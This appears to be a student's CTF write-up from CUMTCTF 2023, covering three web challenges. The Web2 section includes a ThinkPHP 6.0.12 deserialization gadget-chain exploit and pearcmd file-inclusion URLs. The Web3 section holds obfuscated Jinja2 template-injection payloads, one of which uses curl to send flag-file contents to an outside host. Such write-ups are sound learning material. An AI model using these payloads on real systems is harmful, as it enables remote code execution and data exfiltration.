LOADING

加载过慢请开启缓存 浏览器默认开启

cumtctf2023做题笔记

2023/1/13

CUMTCTF 2023

web


Week1-Web1

这次第一题就给我搞不太明白,点进去是这样


看标题以为是 sql 注入,就去把那几种方法都试了一遍,发现都不行
后面发现是真的要算这个式子,想到之前看过的一道题
在一个大佬那里找了个脚本来试试https://blog.csdn.net/specter11235/article/details/74999770/

import re #正则模块
import requests

s = requests.Session()
url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
r = s.get(url)
r.encoding = 'utf-8'   #修改编码
print(r.text)
num = re.findall(re.compile(r'<br/>\s+(.*?)='), r.text)[0]  #正则表达式找到算术式

print ('result:\n\n%s=%d\n' % (num, eval(num)))  #输出算术式计算结果
r = s.post(url, data={'v': eval(num)})  #将结果提交  抓包可看出要用v提交
print (r.text)  #输出返回结果

但是运行不了,很明显不是这样找算式的,甚至它有两个 num1
然后又试了一下之前捣鼓过的 selenium 模块,能不能用浏览器模拟点击的方法,发现也是不行
呃然后在找第三题的过程中去学长 blog 上看到了去年的比赛的一个脚本https://124.221.153.250/archives/705

import requests
url="http://10.3.233.58:5000/"+"/flag?calc="

text=requests.get(url).text.split("<h3>")

num1,num2=int(text[1][5:-6]),int(text[2][5:-6])

calc=str(abs(num2-num1))

text=requests.get(url+calc).text

print(text.split("flag is:")[1].split("</h3>")[0])

这长得不能说很像只能说一模一样啊
改一下运行,直接就有了

Week1-Web2

干了几天才出的题来了(

一看到 thinkphp 就眼前一亮,想到之前在 newstar ctf 做过的一题 thinkphp 反序列化用 cookie 传的漏洞,直接去搜 6.0.12 的版本

出来的全是反序列化,给我看兴奋了
但是这个漏洞的前置条件有一个就是开放了控制器去 get 反序列化命令
首先我们要知道 thinkphp 他是怎么玩的,我们可以用 Composer 安装,使用https://www.kancloud.cn/manual/thinkphp6_0/1037481官方教程中的方法。
之后使用 composer create-project topthink/think tp 安装 thinkphp
看有一些教程是用 phpstudy 环境运行的,但是我试了几次都不行,只能用 php think run 然后访问 http://localhost:8000/
再去看一下这个里面的各个文件的作用

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

我们一般访问的就是 public 里面的 index.php,有一些地址配置的是根目录的话就需要 localhost/public/index.php 来访问
接下来因为我们要有个入口去传反序列化,就需要加一个 test 函数进去,接下来我们访问 /index.php/index/test?x= 然后传入反序列化后的数据就好了

于是就可以直接去网上找 exp

<?php

// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {

    }

    // 实例化
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}

但是传进去不行。。
那是当然,我们没有找到题目的入口
搜索一番发现 CISCN 有一题 ezpop 和这个很像,这里贴两个大佬的 blog
https://www.cnblogs.com/liangshao666/p/16514212.html#/c/subject/p/16514212.html
https://plumstar.cn/2022/07/02/tp6.0.x 反序列化漏洞/#V6-0-12
说的还是很详细的
但是你说源码泄露吧,dirsearch 扫描一番啥都没有,上面的题的 www.zip 肯定不行,看来是找错方向了,换个方向试试
提一嘴我看 f12 那里好多个包,就点进去那个 client.js 看一看,以为会有什么源码发现啥都没有就是 thinkphp 自带的
注意到在 cookie 那里有一个 think_lang
刚好在翻阅的过程中就看到了一个多语言文件包含漏洞
主要参考了这个https://blog.csdn.net/kali_Ma/article/details/128488771的get方法
首先用 pearcmd 的方法在 tmp 下创建 1.php

然后包含它就可以了,直接在 phpinfo 上就可以找到 flag

然后来说说为啥想了这么久,首先我看到的是传/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/+/var/www/html/shell.php
说是说传成功了但是怎么都访问不到就很气,后面发现是传的位置不对。其实刚开始包含成功的时候我是没反应过来那个就是 phpinfo 的以为是什么乱码,就一直以为是通过 index.php 来间接访问,后面直接在浏览器输入/index.php?lang=../../../../../../../../../../../tmp/1 就出来这个了

其实这个是受https://forum.butian.net/share/2059的提醒

才反应过来可以在浏览器上这样访问的,flag 就藏在 phpinfo 里
总的来说这个就两步,但是因为想的方向不对并且一些方面还不懂就搞了好久,还是要多加学习
在这期间看到了一个很全面的文件包含的讲解 https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

Week1-Web3

{%%0dif%0d()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(219)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("o""s")|attr("po""pen")("curl${IFS}http://795653328:8888?`cat${IFS}/f*`")|attr("re""ad")()%}1{%%0dendif%0d%}

{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(256)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("o""s")|attr("po""pen")("env")|attr("re""ad")()}}